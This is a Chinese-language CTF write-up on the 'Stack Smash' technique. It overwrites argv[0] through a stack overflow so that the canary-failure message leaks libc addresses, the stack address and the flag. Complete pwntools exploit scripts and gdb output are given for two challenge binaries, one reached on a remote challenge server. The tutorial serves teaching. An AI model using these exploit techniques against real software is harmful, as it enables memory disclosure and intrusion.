浅析ROP之Stack Smash

0x00 前言

Stack Smash 技巧算是 ROP 中一种比较巧妙的利用吧，在 ctf-wiki 上也说到了这个技巧。但是看完了也感觉是懵懵懂懂的，所以这里结合例子再做一个更细致的总结，涉及到的基本知识也会比较多。

0x01 预备知识

1.Linux的环境变量（environ）

第一种获取环境变量的方法是使用getenv函数：

getenv能通过传入键名的方法获取到值

• 例如对于环境变量 LC_PAPER=zh_CN.UTF-8，getenv(“LC_PAPER”)就可以获取到他的值。

关于环境变量的详细解释可以看这里：
http://tacxingxing.com/2017/12/16/environ/

区别于第一种只能获取单个的环境变量，另一种方式是使用environ 变量来获得所有的环境变量的值

environ 变量作为一个指针指向了环境变量的字符指针数组的首地址。

这里就简单演示一下 environ 变量的使用方法：

#include <unistd.h>  
#include <stdio.h>
extern char **environ;  

int main(){  
  char **env = environ;  

  while(*env){  
    printf("%sn",*env);  
    env++;  
  }  
  exit(0);  
}

将这段代码编译运行以后，可以看到将当前的环境变量全部打印出来了。

这里我们只要知道 environ 变量的实际地址是指向栈的基地址（高地址）就行了。

2.canary 保护

Canary保护机制的原理，是在一个函数入口处从fs段内获取一个随机值，一般存到EBP – 0x4(32位)或RBP – 0x8(64位)的位置。如果攻击者利用栈溢出修改到了这个值，导致该值与存入的值不一致，__stack_chk_fail函数将抛出异常并退出程序。

也就是在当前函数的 EBP 和输入点插入一个 “cookie” 信息，如果在栈溢出时将这个值覆盖了，程序就会抛出错误。

详细的介绍和绕过可以看这里

0x02 Stack Smash

在程序加了canary 保护之后，如果我们读取的 buffer 覆盖了对应的值时，程序就会报错，而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后，如果发现 canary 被修改的话，程序就会执行 __stack_chk_fail 函数来打印出 argv[0] 指针所指向的字符串

我们通过Stack Smash的源码来分析一下：

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminatedn",
                    msg, __libc_argv[0] ?: "<unknown>");
}

stack_chk_fail 函数中调用了 fortify_fail 函数，并传入 msg：
stack smashing detected

之后对msg在 libc_message 函数中输出，这个函数还把 libc_argv[0] 作为参数输出了。这个参数其实就是 argv[0] ，在命令行中也就是程序名

在程序执行时， argv[0] 会放在栈中，利用栈溢出可以将这个值覆盖为 got 表中的值，在执行 __stack_chk_fail 函数时，利用输出信息就可以输出我们想要的 got 表信息，又给了 libc 库，进而可以得到 libc 的基地址。

得到基地址之后，我们可以进一步利用，输出栈地址以及栈中的信息。

0x03 例题

这里拿一道网鼎杯的 pwn1-GUESS 来讲解。

IDA中的题目代码

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax@9
  __int64 v4; // rcx@13
  __WAIT_STATUS stat_loc; // [sp+14h] [bp-8Ch]@1
  int v6; // [sp+1Ch] [bp-84h]@5
  __int64 v7; // [sp+20h] [bp-80h]@1
  __int64 v8; // [sp+28h] [bp-78h]@1
  char buf; // [sp+30h] [bp-70h]@4
  char s2; // [sp+60h] [bp-40h]@6
  __int64 v11; // [sp+98h] [bp-8h]@1

  v11 = *MK_FP(__FS__, 40LL);
  v8 = 3LL;
  LODWORD(stat_loc.__uptr) = 0;
  v7 = 0LL;
  sub_4009A6();
  HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  puts("This is GUESS FLAG CHALLENGE!");
  while ( 1 )
  {
    if ( v7 >= v8 )
    {
      puts("you have no sense... bye :-) ");
      result = 0LL;
      goto LABEL_13;
    }
    v6 = sub_400A11();
    if ( !v6 )
      break;
    ++v7;
    wait(&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(&s2);
  if ( !strcmp(&buf, &s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  result = 0LL;
LABEL_13:
  v4 = *MK_FP(__FS__, 40LL) ^ v11;
  return result;
}

运行程序，程序会接收三次的输入。
很明显在gets函数处存在栈溢出，但是我们用 checksec（pwntools自带） 检查的时候，发现存在 canary 保护，但是没有PIE保护（堆栈地址空间随机化）。

这边在反汇编代码可以看到在 main 函数结束时检查了 canary 的值，与 rcx 进行比较， canary 的值是放在 fs 寄存器中的，理论上我们是不能正常查看了。

.text:0000000000400B8D loc_400B8D:                             ; CODE XREF: main+11Aj
.text:0000000000400B8D                 mov     rcx, [rbp+var_8]
.text:0000000000400B91                 xor     rcx, fs:28h
.text:0000000000400B9A                 jz      short locret_400BA1
.text:0000000000400B9C                 call    ___stack_chk_fail

所以这里除非用爆破出 canary 值，否则就无法正常泄露得到他的值，但是我们可以使用上面说的 Stack Smash 技巧。

解题思路

我们这里一步步来。

1.先 leak 出libc的基地址

要泄露出 libc 的基地址就要获得某个函数在 got 表中的地址。这里的 got 表中的地址就用 Stack Smash 这个技巧来获得。

首先用 gdb 在 gets 函数处下一个断点

b *0x400b23

单步 n 之后，输入一堆 aaa

• 这里为了测试在本地新建了一个 flag 文件，可以看到按照程序的正常流程走下去，此时 flag 已经被读取到栈上了

然后使用 stack 20 这个命令来查看栈上的信息。

可以看到此时 0x7fffffffdf38 这个栈地址存储的是 argv[0] 的值，也就是我们需要利用的值。

我们输入的值（aaa…）是位于 0x7fffffffde10 的地址处，计算得到输入到 argv[0] 的距离：

总共是 296 个字节，也就是 0x128 的十进制的值。

所以我们可以构造 payload ，此时 libc_start_main_got 的值就是我们需要泄露的 argv[0] 的值：

payload = 'a' * 0x128 + p64(libc_start_main_got)

得到的值需要用 u64 函数进行解包（需要8个字节），所以需要用 ljust 进行左填充到8个字节。

将得到的 got 表的真实地址减去 __libc_start_main 函数在 libc 库中的偏移地址就得到了 libc 的基地址了。

第一步的exp：

from pwn import *

#context.log_level = 'debug'
p = process('./GUESS')
LOCAL = 1
if LOCAL:
        libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')
else:   #remote
        libc = ELF('libc-2.23.so')
libc_start_main_got = 0x602048
libc_start_main_off = libc.symbols['__libc_start_main']

p.recvuntil('guessing flagn')
payload = 'a' * 0x128 + p64(libc_start_main_got)
p.sendline(payload)

p.recvuntil('detected ***: ')
libc_start_main_addr = u64(p.recv(6).ljust(0x8,'x00'))

libc_base_addr = libc_start_main_addr - libc_start_main_off
print 'Libc base addr: ' + hex(libc_base_addr)

2.leak 出栈的地址

这里为什么要 leak 出栈的地址呢？是因为程序没有开启PIE保护，所以 environ 变量中存放的栈地址的值和 flag 的距离是不变的，我们如果得到了栈地址以后，算一下与 flag 的距离就可以 leak 出 flag 的值了。

根据上面所说的，要 leak 出栈的地址直接 leak 出 environ 变量的值就行。

所以这里根据得到 libc 的基地址加上 environ 变量在 libc 库中的偏移就可以得到栈的地址。

exp如下：

environ_addr = libc_base_addr + libc.symbols['_environ']

payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)

p.recvuntil('stack smashing detected ***: ')

stack_addr = u64(p.recv(6).ljust(0x8,'x00'))
print "stack: "+hex(stack_addr)

• 这里的 symbols 方法的键为 environ 或者 _environ 都是一样的结果

如图，这样我们就得到栈的地址了。

• 这里我在本地加载的 libc 库和远程的不同，所以地址会有所差异。但是这里有个小技巧即可以根据 libc 基地址后三位是否为0来判断 libc 的基地址是否正确。

3.leak 出 flag 的值

还是在 gdb 中的调用 gets 函数处下断点。

b *0x400b23

依旧是先 stack 20 输出一下栈信息，可以看到我们需要的 flag 的地址是

0x7fffffffdd30

使用 b *environ 直接可以查看当前 environ 变量地址中存放的值（也就是栈的地址），再计算栈地址到 flag 的距离

在 gdb 中，看到了当前的栈地址为：0x7fffffffde98

gdb-peda$ b * environ
Breakpoint 2 at 0x7fffffffde98

所以可以计算出两者的距离为 0x168：

gdb-peda$ print 0x7fffffffde98 - 0x7fffffffdd30
$1 = 0x168

• 这里是固定为 0x168 ，如果不信的话可以在 gdb 中多调试几次。

也就是说下次 leak 的时候，要得到 flag 的值，直接使用栈的地址减去 0x168 就得到了 flag 的地址，再利用一次 Stack Smash 技巧泄露出 flag 的地址的值就行了。

也就是：

payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)

运行exp得到flag。

最后的exp：

from pwn import *

#context.log_level = 'debug'
p = process('./GUESS')
LOCAL = 1
if LOCAL:
        libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')
else:   #remote
        libc = ELF('libc-2.23.so')


libc_start_main_got = 0x602048
libc_start_main_off = libc.symbols['__libc_start_main']

p.recvuntil('guessing flagn')
payload = 'a' * 0x128 + p64(libc_start_main_got)
p.sendline(payload)

p.recvuntil('detected ***: ')
libc_start_main_addr = u64(p.recv(6).ljust(0x8,'x00'))

libc_base_addr = libc_start_main_addr - libc_start_main_off
print 'Libc base addr: ' + hex(libc_base_addr)

environ_addr = libc_base_addr + libc.symbols['_environ']

payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)

p.recvuntil('stack smashing detected ***: ')

stack_addr = u64(p.recv(6).ljust(0x8,'x00'))


print 'stack base addr: ' + hex(stack_addr)

payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)

p.recvuntil('Please type your guessing flag')
p.sendline(payload2)

p.interactive()

other

这里还有一道例题也是关于 Stack Smash 的（Smashes）
题目链接：https://www.jarvisoj.com/challenges

checksec

依旧先检查一下程序的保护机制：

满足 Stack Smash 的使用条件：

canary protect
No PIE

IDA代码

在 _IO_gets 函数处存在栈溢出，还是按照套路来：在gdb中查看与 argv[0] 的偏移

输出与 argv[0] 偏移为 0x218

gdb-peda$ print 0x7fffffffde88 - 0x7fffffffdc70
$2 = 0x218

构造payload

payload = 'a' * 0x218 + p64(需要泄露的地址)

仔细看程序有一个 flag 的提示，也就是这个 flag 是在服务端的

在 gdb 中 find CTF，发现了两处的 flag，我们传入上一处的地址

关于为什么这么传入，可以看这里：
https://blog.csdn.net/github_36788573/article/details/80693994

最后的exp：

from pwn import *

context.log_level = 'debug'
LOCAL = 0
if LOCAL:
        r = process('./smashes')
else:
        r = remote('pwn.jarvisoj.com',9877)

payload = 'a' * 0x218 + p64(0x400D20)

r.recvuntil("Hello!nWhat's your name? ")

r.sendline(payload)

r.interactive()

 

0x04 总结

Stack Smash 的适应条件：

• 开启了 canary 保护
• 读取了关键信息（flag）到栈上，但是没有开启 PIE 保护